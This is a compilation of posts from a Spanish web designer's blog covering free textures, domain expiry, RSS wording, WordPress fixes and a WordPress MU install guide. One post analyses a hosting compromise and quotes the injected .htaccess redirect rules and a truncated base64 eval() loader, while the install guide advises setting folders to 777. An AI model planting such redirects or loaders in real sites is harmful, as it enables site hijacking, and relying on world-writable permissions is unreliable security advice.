Estas texturas son perfectas para utilizarlas como base en cartelería para crear diseños más orgánicos y menos digitales, aunque también pueden servir para fondos de páginas web, fondos de escritorio, etc. Una buena manera de dar a nuestros diseños algo de luz e “imperfección” propia de la vida real.

Todos los fondos están creados partiendo de cero, es decir, buscando y fotografiando texturas primero (madera, textil, metal, papel…) y trabajándolas un poco en Photoshop después. Su tamaño es de 2.336 x 3.504 px @ 240 ppp. (enlace de descarga más abajo)

Se pueden usar de manera totalmente libre, tanto para trabajos personales como comerciales. No tienen ninguna marca de propiedad incrustada y no es necesario permiso previo para utilizarlas (aunque me haría ilusión ver lo que otros han hecho a partir de este material, sólo por satisfacción personal)

Poco a poco iré ampliando esta colección. De momento, empiezo con estas.

Enlaces de descarga directa

• Fondo textura 01 (ZIP – 1,9 MB)
• Fondo textura 02 (ZIP – 2,1 MB)
• Fondo textura 03 (ZIP – 1,9 MB)
• Fondo textura 04 (ZIP – 1 MB)
• Textura cartel 05 (ZIP – 878 KB)
• Textura cartel 06 (ZIP – 1,3 MB)
• Textura cartel 07 (ZIP – 1,2 MB)
• Textura cartel 08 (ZIP – 1,2 MB)
• Textura cartel 09 (ZIP – 1,3 MB)
• Textura cartel 10 (ZIP – 1,2 MB)
• Textura cartel 11 (ZIP – 1,1 MB)

Curiosamente, otra situación demasiado frecuente es la de quien encarga una página web a un diseñador, programador o webmaster, y éste desaparece un día, llevándose consigo el dominio (que nunca registró a nombre de su cliente sinó al suyo) y a veces hasta los datos ftp, del area de cliente, etc. Eso sí, esta apropiación o secuestro muchas veces no es por mala fe, sino por falta de profesionalidad o simplemente por dejadez, pero el problema puede ser difícil de solucionar.

Otro caso tristemente habitual es cuando el dominio se pierde por no saber cómo funciona un simple traslado de dominio. Hoy me he enterado por la radio de otro de estos casos. El propietario del dominio “festivalpollenca.org” (una persona ajena a la organización de este festival) después de varios años de posesión legítima del nombre, decide cederlo a su lógico propietario (por lo que sé, sin disputas legales ni nada parecido), pero en vez de transferirlo directamente al nuevo propietario, ambas partes acuerdan esperar a que caduque el periodo contratado y así comprarlo cuando vuelva a estar libre.

Error clásico. En cuanto el dominio esté disponible, será automáticamente adquirido por una empresa caza-dominios (empresas dedicadas a secuestrar dominios de manera masiva) que hará negocio con él (revendiéndolo mil veces más caro que el precio de compra, aprovechando el tráfico natural y el posicionamiento del dominio para añadir sus enlaces, etc.)

Y eso exactamente es lo que ha pasado en este caso. En el momento en que “Festivalpollenca.org” estuvo libre, una empresa americana caza-dominios lo registró y, en vez de sustituir todo el contenido de la web del festival por cualquier otra cosa, lo “adapta” a sus intereses: instala WordPress, lo viste con una plantilla cualquiera e introduce sus enlaces a casinos y demás basura habitual. De esta manera, recibe las visitas naturales del dominio, que no abandonan inmediatamente la web porque hay información real y, lo que es peor, con la sensación de que el Festival de Pollença es, como mínimo, poco serio.

Como el dominio “Festivalpollenca.org” ahora solo es una fachada con mucha basura detrás camuflada entre información real que aparece en primer lugar en Google para la búsqueda “Festival Pollensa”, la organización del festival se ha visto obligada a cambiar y utilizar “festivalpollenca.com” en su lugar, con el lógico bajón en los resultados de Google que eso supone.

En este caso, no estamos hablando por tanto de robo (como el del diseñador que premeditadamente se apropia del dominio de su cliente), ni siquiera de mala fe por parte del antiguo o del nuevo propietario, sino simplemente de falta de información sobre el funcionamiento de los dominios y todo lo que se mueve a su alrededor.

¿Hay esperanza de recuperar el dominio una vez perdido de esta manera? No, a menos que decidan pagar una gran suma o que tengan registrado el nombre comercial, y menos si la empresa encargada del secuestro esta en otro país, aunque en cualquier caso, es algo dificil de solucionar.

Se suele decir “me han hackeado el dominio”, pero, al menos en el caso de “Festivalpollenca.org”, la realidad es muy diferente. Nadie ha hackeado nada, más bien el dominio está secuestrado por parte de una empresa que ha comprado algo que estaba disponible (ojo, no es que esté defendiendo a las empresas que se dedican al negocio de la caza de dominios, aunque se aprovechen de nuestros descuidos con intención puramente especulativa.)

Es un caso parecido al de “Barcelona.com” o el de tantos otros parecidos, solo que más local y de menos repercusión por tratarse de un festival de música y no de una ciudad o el nombre de algún artista popular. Y digo “parecido” porque en el caso de “Barcelona.com” el dominio nunca estuvo libre (desde 1996) sinó que se trataba de una batalla legal por la titularidad del dominio.

Esta claro que la mejor manera de aprender una lección es equivocarse y aprenderla por las malas, solo que en este caso, les hubiera costado muy poco asesorarse antes de actuar.

(A todo esto, el Festival de Pollença es un ciclo de conciertos de gran nivel que tiene lugar anualmente entre julio y agosto en el Convento de Santo Domingo de Pollença, Mallorca y que este 2010 llega a su edición número 49 con artistas como Chucho Valdés, Carlos Núñez, Joaquín Achúcarro, The Swingle Singers, Ara Malikian Ensemble y muchos otros artistas nacionales e internacionales.)

Aparte de Coda (programa para diseñar páginas web) y Transmit (cliente ftp), uno de los programas que siempre tengo abiertos es Photoshop, una herramienta que se ha convertido en esencial para fotógrafos, diseñadores y cualquiera que tenga que manipular, mejorar o editar imágenes digitales.

Precisamente el mes de febrero pasado se cumplieron 20 años desde que salió la primera versión de este programa, y este año el Festival Alternatilla 2010, además de todos los conciertos, exposiciones y actividades programadas, acaba de informar sobre una nueva cita en Palma de Mallorca dirigida a fotógrafos experimentados, aficionados y entusiastas de la imagen digital, tanto profesionales como con conocimientos básicos de Photoshop.

Se trata de un curso/taller de optimización de imágenes con Photoshop impartido por Joan Roig (Mallorca, 1978), fotógrafo, master en edición de imagen por la Universidad Autónoma de Barcelona y, desde 2006, mano derecha de Pep Bonet en la postproducción, optimización de imágenes e impresión de exposiciones.

El curso se centrará en el retoque digital y optimización de imágenes con Photoshop, se ajustarán las imágenes en contraste, saturación, dominantes de color… Es decir, no se trata de manipular las imágenes (no se añadirá ni eliminará ningún elemento de la imagen original).

Su duración es de 18 horas (cuatro horas y media diarias de lunes a jueves de 16:30 a 21 h.) y si te interesa apuntarte, los requisitos son: llevar tu propio ordenador portátil para hacer las prácticas, tener instalado Photoshop CS3 o superior y disponer de un mínimo de 20 imágenes RAW.

El curso es totalmente gratuito y se impartirá en el centro cultural La Misericordia de Palma de Mallorca (Via Roma, 1) durante el mes de mayo. Las fechas concretas, según el nivel seleccionado son estas:

• Nivel iniciación: del 3 al 6 de mayo (gratis)
  PhotoShop desde cero: herramientas básicas, capas de ajuste…
• Nivel medio-avanzado: del 10 al 13 de mayo (gratis)
  Capas de ajuste en profundidad, conversión a blanco y negro, tipos de virados, equilibrio de color…
• Nivel avanzado-profesional: del 24 al 27 de mayo (gratis)
  Curso práctico: retoque de grandes volúmenes de imágenes, tipos de retoque, sistema de tres capas base…

Encontrarás toda la información sobre este curso y el formulario para inscribirte en la web del Festival Alternatilla:
http://www.alternatilla.com/2010/es/talleres/optimizacion-digital-imagenes/

Desde hace tiempo, la manera de anunciar en una web la disponibilidad de contenido en versión RSS me parece absurda y, sobre todo, poco clara para quien aun no sabe muy bien en qué consiste este sistema de avisos.

Cada vez es más frecuente encontrar páginas web que ofrecen sus contenidos por RSS, pero generalmente la manera de comunicárselo al usuario es pésima. ¿Quién pretendemos que entienda cosas como “Sindicación de contenidos RSS“, “Suscribirse a entradas Atom“, “Fuente de alimentación RSS” o simplemente “RSS 2.0“?

Internet está lleno de páginas que intentan explicar al usuario medio qué es RSS y por qué es tan útil. Pero además de explicarlo, los que creamos páginas webs tenemos que mejorar y adaptar nuestra manera de comunicar este tipo de mensajes.

Sugiero algo más descriptivo, que no asuste al usuario. Palabras como “sindicación”, “suscripción”, “fuente de información”, “Atom” o “RSS” las entendemos los que vivimos y nos movemos desde hace tiempo en internet, pero la gran mayoría de personas no solo no lo entiende, sino que a veces asocia la suscripción con un pago mensual (procedente del mundo de las revistas, periódicos y publicaciones en papel).

Estas son mis sugerencias:

• Actualizaciones gratuitas
• Actualizaciones RSS
• Seguimiento de contenidos por RSS
• Suscripción gratuita
• Recibe nuestros contenidos por RSS o por email
• Recibe nuestras noticias gratuitamente

Ni siquiera intento traducir “feed”. No me parece necesario en español (especialmente porque nunca he encontrado ninguna palabra que me parezca adecuada; tal vez “hilo” es la que más posibilidades podría tener)

El diseño de páginas web y su desarrollo no consiste solo en que todo se vea muy bonito y profesional. Ni siquiera en que todo funcione a la perfección. Hay que ir un paso más allá y ponerse en la piel de la persona que va a utilizar esa web, el usuario que pulsará los botones y enlaces que hemos creado. Hay que hacer un ejercicio de empatía y ver si realmente la usabilidad está bien planteada.

Le he tenido que explicar a tanta gente lo que es RSS que estoy convencido de que la inmensa mayoría está perdida, no lo entiende, y con frases como las que comentaba más arriba, los que creamos páginas web no ayudamos lo más mínimo.

Hoy un usuario de una de las webs que gestiono me ha avisado de que no podía acceder a las actualizaciones RSS. Revisando el tema, he comprobado que el error (ver imagen) solamente aparecía en Firefox (“Error de lectura XML“), mientras que en otros navegadores, las actualizaciones RSS se generaban perfectamente:

Error de lectura XML: declaración de texto o XML en un lugar distinto del principio
de la entidad. Ubicación: http://www... Número de línea 2, columna 1:
<?xml version="1.0" encoding="UTF-8"?>

No es la primera vez que encuentro este problema, así que, en vista de que no hay demasiada información publicada al respecto, explico cual ha sido la solución en mi caso:

1. Abrir el archivo functions.php del tema activo (ubicado en /wp-content/themes/nombre-del-tema/functions.php)
2. Localizar y eliminar espacios vacíos entre las etiquetas de apertura y cierre de PHP (ver imagen). O mejor aun, combinarlas para que solo se abra y se cierre una vez (aunque no siempre es posible)
3. Guardar y subir al servidor

Es un error que puede ser muy fácil de arreglar, pero que también puede ser muy difícil de detectar, por la cantidad de archivos PHP que utiliza WordPress. De todas formas, la lógica es esta: partiendo de que no hemos tocado los archivos del core de WordPress (los básicos: los de la raíz, wp-admin o wp-includes) sólo nos quedan dos comprobaciones que hacer: los plugins instalados y el archivo functions.php del tema activo.

Podemos probar a desactivar los plugins uno a uno, para ver si el problema está en el código de alguno de ellos. Si aun asi el problema persiste, solo nos queda un archivo que repasar: functions.php, que es un archivo que, por poco que queramos personalizar una web, conviene conocer a fondo.

No siempre será tan fácil de detectar, pero las tres o cuatro veces que he tenido que solucionar este problema, esta ha sido la solución.

Para estar seguro de que tu RSS se genera sin problemas en Firefox, abre este navegador, pon la dirección de tu web seguida de /feed/ y, si te aparece el error, ya tienes una pista de dónde mirar.

El problema aparece al ver que los enlaces no se exportan junto con el resto de contenidos de Wordpress si utilizamos Herramientas > Exportar. Aunque sí existe la opción para importarlos, no hay en el area de administación ningún modo de exportar nuestros enlaces. El siguiente problema es que las categorías y las descripciones se pierden por el camino y no se importan.

Como ya he explicado esto varias veces a diferentes personas, lo publico aquí, que será más útil que explicarlo cada vez que alguien se encuentra con el problema.

1. Cómo exportar enlaces en WordPress

Si solo queremos exportarlos y no tenemos ninguna categoría de enlaces creada ni tampoco hemos añadido descripciones, lo único que hay que hacer es apuntar el navegador a la dirección del archivo wp-links-opml.php, que está en la raíz de la instalación de WordPress. Es decir:

http://www.ejemplo.com/wp-links-opml.php (cambiar “ejemplo.com” por la dirección de nuestra web)

WordPress crea un archivo XML que contiene los datos que necesitamos en formato OPML. Dependiendo del navegador que utilicemos, veremos una cosa u otra: con Safari, por ejemplo, solo veremos una página en blanco con una linea de texto (el nombre de nuestra web y la fecha de creación del archivo), mientras que Firefox nos muestra directamente el código XML.

En realidad ni siquiera hace falta visitar esa página ni guardar o inspeccionar el código. Copiamos el enlace y pasamos a importarlos.

2. Cómo importar los enlaces

Para importar hay que ir a Herramientas > Importar y de la lista que aparece seleccionamos “Enlaces: Importar enlaces en formato OPML“. En la página siguiente tenemos dos opciones: pegar la dirección anterior (http://www.ejemplo.com/wp-links-opml.php) o bien subir el archivo desde nuestro ordenador, si lo hemos guardado antes. Finalmente, pulsamos el botón “Importar archivo OPML“.

3. Cómo importar las categorías de los enlaces en WordPress

Lo más fácil para importar los enlaces junto con sus categorías es utilizar este plugin:

http://wordpress.org/extend/plugins/import-blogroll-with-categories/

WordPress solo nos ofrece la posibilidad de guardar todos nuestros enlaces en una única categoría, pero lo curioso es que la información necesaria de cada enlace y su categoría está en el archivo XML que importamos, aunque WordPress no lo tiene en cuenta.

Este plugin añade esta funcionalidad añadiendo una nueva opción en la página Herramientas > importar que se llama “Blogroll with categories” (y también en el menú “Links”) con la posibilidad de crear las categorías de enlaces automáticamente, tal como estaban en la web original que estamos trasladando.

4. Cómo importar las descripciones de los enlaces

Otra de las cosas que no hace WordPress es exportar las descripciones de los enlaces en el archivo XML junto con el resto de la información.

Para conseguir esto y no tener que hacerlo a mano, tendremos que editar el código del archivo wp-links-opml.php:

• Abre wp-links-opml.php (está en la raíz de la instalación de WordPress) con tu editor de código
• En la linea 54 añade esto antes del cierre de outline (ver imagen): description="<?php echo esc_attr($bookmark->link_description); ?>". Quedará así:

<outline text="<?php echo $title; ?>" type="link"
xmlUrl="<?php echo esc_attr($bookmark->link_rss); ?>"
htmlUrl="<?php echo esc_attr($bookmark->link_url); ?>"
updated="<?php if ('0000-00-00 00:00:00' != $bookmark->link_updated)
echo $bookmark->link_updated; ?>" description="<?php echo
esc_attr($bookmark->link_description); ?>" />

Esto añadirá las descripciones al archivo OPML para que podamos importarlas. Guarda el archivo, súbelo al servidor y ya puedes importar todos los enlaces con sus categorías y sus descripciones automáticamente sin tener que perder tiempo copiándolos uno a uno.

EllisLab, los creadores de ExpressionEngine, uno de los mejores sistemas de gestión de contenidos (CMS) que conozco, acaba de anunciar durante el South by Southwest de este año que la nueva y tan esperada versión de ExpressionEngine, la 2.0, saldrá a la luz el 1 de diciembre de 2009.

Se dijo que la versión 2.0 saldría durante el verano de 2008, pero llegado el momento y al ver que no estaba listo, decidieron que saldría a la luz “cuando estuviera preparado”, sin dar ninguna fecha concreta. Ahora por fin han decidido dar una fecha, y aunque aún está en fase de desarrollo (en la fase 2 de su beta privada) ya se sabe que, además de un panel de control mucho más atractivo y con nuevas funciones, ExpressionEngine 2.0 funcionará con CodeIgniter, un framework PHP de código abierto muy valorado por muchos desarrolladores.

Ellislab ha puesto a disposición de todo el mundo un video en el que muestra algunas de las novedades: http://expressionengine.com/ee2_sneak_preview/.

Hay mucha vida más allá de WordPress.

Al comprobar las estadísticas de una de esas webs (con WordPress 2.8.5), he visto que desde hacía varios días se recibían muy pocas visitas. Al visitar la web directamente con el navegador me ha llamado la atención que había un error de validación (para esto utilizo HTML Validator para Firefox. Es muy simple: verde, todo correcto; rojo, error de validación).

Al comprobar veo que el error de validación que me da es: there is no attribute "style". ¿Un “style” entre el código HTML? Muy pocas veces incrusto estilos con “style”, así que miro el código y me encuentro esto justo antes de cerrar el body:

<!--5edfgh345--> Seguido de una lista con más de 300 enlaces a páginas la mayoría de contenido pornográfico (no aparecen al visitar la web precisamente porque el estilo incrustado que hace que no valide es: “display: none“.

Un ejemplo de los links que aparecen:

<a href="http://******.com/gallery/zkdxk/jennifer-hudson-official-website.html">
jennifer hudson official website</a>

Sigo con las comprobaciones. Solo funciona la página de inicio. Ningún enlace a las otras páginas de la web funciona (por eso se detectaba un descenso en las visitas). Al entrar en el area de administración de la web veo que todo el contenido está ahí, así que imagino que es algún error con el .htaccess. Al abrirlo veo que hay otro código intruso inyectado:

AddHandler application/x-httpd-php .html .htm .asp .aspx .shtml .shtm
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]
RewriteRule .* http://you-search.in/in.cgi?4&parameter=sf [R,L]

Al comprobar otras webs en el mismo servidor he visto que pasaba lo mismo, usaran WordPress o no, tanto las que utilizan PHP como las que están hechas en HTML. En las páginas sin PHP (sólo HTML, lógicamente por tanto sin WordPress), antes del cierre del body aparece:

<!--5edfgh345-->
<?php eval(base64_decode("JGw9Imh0dHA6 ... k7fSBwcmludCBAJHI7DQo=")); ?>

Es decir, se inserta el código eval() de javascript pero no aparecen los links. En páginas con PHP (incluidas WordPress con 2.8.5 instalado) el código se ejecuta y aparece toda la basura.

Qué hacer

Lo suyo es comprobar la fecha de actualización de los archivos de cada web (con un programa FTP, por ejemplo). Esto da una pista para saber qué archivos han sido modificados últimamente. En mi caso, todas las webs habían actualizado el archivo index.html o index.php de la raíz y creado o editado el .htaccess el mismo día, el día del ataque.

1. Sustituir el archivo .htaccess infectado por la copia que deberíamos tener. Si no tenemos copia, lo descargamos (o lo editamos directamente en el servidor) y eliminamos el código de arriba (¡Cuidado con lo que borras! Si no estás seguro de lo que haces, pide que alguien con experiencia te ayude)
2. Lo mismo con el archivo index.html o index.php de la raíz. Si no tenemos una copia a mano, eliminamos desde “<!–5edfgh345–>” hasta que acaba esa linea.

En las webs que gestiono en ese servidor (alojadas por cierto en Mediatemple) el problema no ha ido más allá. Seguiré comprobando estos días esas webs para asegurarme de que no aparecen nuevos problemas.

Describo todo esto con detalle porque lo único parecido que he encontrado en internet es esta entrada:
Wordpress, MediaTemple, and an Injection Attack.

El autor explica que en su caso (Wordpress 2.8.5 / Mediatemple) fue víctima del mismo ataque en las mismas fechas. Al contactar con los responsables del hosting, vieron que una IP de Texas envió una petición POST a WordPress que consiguió subir un archivo que al extraerse inyectó el código javascript eval() responsable de la aparición de cientos de links a páginas no deseadas.

En su caso, el código se insertaba en todas las entradas publicadas después del ataque y todos los links redireccionaban a una web de malware, y recomienda:

• 1. Eliminar el código eval() de “index.php” en la raíz de WordPress
• 2. Borrar y recrear todas las entradas infectadas (desde el panel de control, no directamente en la base de datos)
• 3. Borrar el archivo .nfs* en la raíz de WordPress
• 4. Sustituir todos los archivos de WordPress por una instalación limpia
• 5. Eliminar el código no deseado de .htaccess

Es un ataque parecido al de los permalinks cambiados a “eval(base64_decode($_SERVER[HTTP_REFERER]“ de WordPress, con inyección MySQL.

ACTUALIZACIÓN (11/11/2009): Otro caso que acabo de encontrar: PHP Injection into the index.php files in ExpressionEngine. Al parecer no se trata sólo de WordPress. También pasa lo mismo con ExpressionEngine.

ACTUALIZACIÓN (16/11/2009): Otros ataques similares posteriores utilizan el número <!–yje35zfv8SU–> y al parecer afecta no solo a instalaciones de WordPress sino de Drupal, Joomla, Magento o cualquiera que utilice PHP, pero por lo visto, solo alojados en Mediatemple, por lo que no parece que se trate de un problema de estos CMS.

Más enlaces que hablan de ello:
http://jeffreybarke.net/tag/hacked/
http://adrian3.com/2009/11/mediatemplewordpress-hack/
http://kb.mediatemple.net/questions/1715/Working+with+a+php+injected+website

Esta es una pequeña recopilación de libros que he leído últimamente sobre diseño web, CSS, WordPress, ExpressionEngine y tecnología e internet en general. Eso sí, prácticamente todos son en inglés. La mayoría de libros sobre diseño web y tecnologías ni siquiera llegan a traducirse al español, pero como siempre digo, si alguien quiere aprender diseño web, lo primero que tiene que hacer es aprender inglés.

Iré ampliando esta lista según vaya comprando y leyendo más libros.

Libros sobre CSS

• CSS Mastery: Advanced Web Standards Solutions. Andy Budd, Simon Collison & Cameron Moll / Friends of ED
• Transcending CSS: The Fine Art of Web Design. Andy Clarke, Molly E. Holzschlag, Aaron Gustafson & Mark Boulton / New Riders Press
• The Zen of CSS Design. Visual enlightenment for the web. Dave Shea & Molly E. Holzschlag / New Riders
• Designing CSS web pages. Christopher Schmitt / New Riders
• CSS Práctico. Richard York. Anaya Multimedia/Wrox

Libros sobre diseño web y diseño en general

• Sexy web design. Elliot Jay Stocks / Sitepoint
• Web Standards Creativity. Innovations in web design with XHTML, CSS and DOM scripting. Cameron Adams, Mark Boulton, Andy Clarke, Simon Collison, Jeff Croft… / Friends of ED
• Designing with web standards. Jeffrey Zeldman / New Riders
• Principles of beautiful web design. Jason Beaird / Sitepoint
• The Art & Science of Web Design. Jeffrey Veen / New Riders
• The laws of simplicity. Design, technology, business & life. John Maeda / The MIT Press
• Manual de producción gráfica. Recetas. Kaj Johansosn, Peter Lundberg & Robert Ryberg / Editorial Gustavo Gili
• Diseñar con y sin retícula. Comprender la estructura y la libertad en el diseño, pasando de la teoría a las aplicaciones en el mundo real. Timothy Samara / Editorial Gustavo Gili
• Web development solutions, AJAX, APIs, libraries and hosted services made easy. Christian Heilmann & Mark Norman Francis/ Friends of ED

Libros sobre WordPress y ExpressionEngine

• Professional WordPress. Design and development. Hal Stern / Wrox Publishing
• ExpressionEngine 2.0: A Quick-Start Guide. Ryan Irelan / Pragmatic Bookshelf
• WordPress Plug-in Development. Vladimir Prelovac / Packt Publishing
• Building Websites with ExpressionEngine 1.6: A clear, concise, and practical guide to creating a professional ExpressionEngine website. Leonard Murphy / Packt Publishing
• WordPress Theme Design. A complete guide to creating professional Wordpress themes. Tessa Blakeley Silver / Packt Publishing

Libros sobre internet y tecnología

• Todo va a cambiar. Tecnología y evolución, adaptarse o desaparecer. Enrique Dans / Ediciones Deusto
• The future of the internet – And how to stop it. Jonathan Zittrain / Yale University Press
• The world is flat. A brief history of the twenty-first century. Thomas L. Friedman / Farrar, Straus & Giroux
• The Google Story. Inside the hottest business, media and technology success of our time. David A. Vise and Mark Malseed / Delta
• Everything is miscellaneous. The power of the new digital disorder. David Weinberger / Holt

Libros sobre jQuery

• Learning jQuery 1.3. Better interaction design and web development with simple javascript techniques.. Jonathan Chaffer & Karl Swedberg / Packt Publishing

Próximos…

Y para acabar, estos son los libros que próximamente pasarán a formar parte de mi biblioteca (si los puedo conseguir):

• HTML5 for web designers, Jeremy Keith / A book apart

Según mi experiencia, estos son los errores y problemas más comunes al hacer una instalación de WordPress MU (o WordPressµ), el sistema multi usuario de WordPress:

Editar el archivo wp-config.php directamente

A diferencia del WordPress de un solo usuario, al instalar WordPress MU no es necesario que editemos directamente el archivo wp-config-sample.php. Tanto en las instrucciones que vienen con el sistema (el archivo readme.html) como en los tutoriales de la página oficial, dice que después de subir los archivos al servidor tenemos que dirigirnos a la página index.php, pero no dice que no haya que tocar el wp-config.php (las primeras veces que instalé WordPress MU supuse que se saltaba ese paso por ser demasiado obvio). Así que en este caso, no hay que añadir los datos de conexión a la base de datos directamente en el archivo de configuración, sinó seguir las instrucciones del instalador en el navegador.

Renombrar wp-config-sample.php

De hecho, WordPress MU ni siquiera necesita que renombremos previamente el archivo de configuracion wp-config-sample.php. Si le cambiamos el nombre, tal como hacemos siempre con una instalación normal de WordPress a wp-config.php, el proceso de instalación nos avisará de que no puede continuar porque no encuentra el archivo que espera encontrar, que es wp-config-sample.php. Si ya lo has cambiado, lo mejor es borrarlo y volver a subirlo, en vez de renombrarlo.

Conflictos con otra instalación de WordPress

Si al instalar WordPress MU aparece uno de estos dos mensajes…

"Problem in wp-config.php - $base is set to BASE when it should be
the path like "/" or "/blogs/"! Please fix it!"

"Warning! VHOST must be 'yes' or 'no' in wp-config.php"

…el problema más frecuente suele ser que hay otra instalación de WordPress que entra en conflicto, generalmente, cuando instalamos WordPress MU en un subdirectorio y hay otra instalación en el directorio raiz.

La solución suele ser esta:

1. Renombrar el archivo de configuración wp-config.php de la otra instalación (ojo, lógicamente esa web dejará de funcionar porque no encuentra los datos de conexión a la base de datos). Es decir, le cambiamos el nombre por cualquier otro, por ejemplo: wp-config-cambiado.php
2. Instalamos WordPress MU normalmente
3. Volvemos a renombrar el wp-config.php de la otra instalación con el nombre original.

No cambiar los permisos de wp-content y de la carpeta raíz

Otro de los pasos que es fácil olvidar o pasar por alto es que en algunos servidores los directorios no tienen permisos de escritura por defecto, por eso hay que asegurarse de que el directorio raíz y la carpeta wp-content pueden ser escritos por el servidor.

Por defecto, estas carpetas tienen asignados permisos 755, así que tendremos que cambiarlos a 777 mientras realizamos la instalación (en UNIX, con chmod 777 nombre-de-la-carpeta, o directamente con nuestro programa de FTP).

Si recuerdo algún otro error o problema relacionado con WordPress MU los iré añadiendo aquí por si sirve de ayuda. A mí me hubiera sido muy útil encontrarme con esta información hace algunos años, y me hubiera ahorrado bastante tiempo.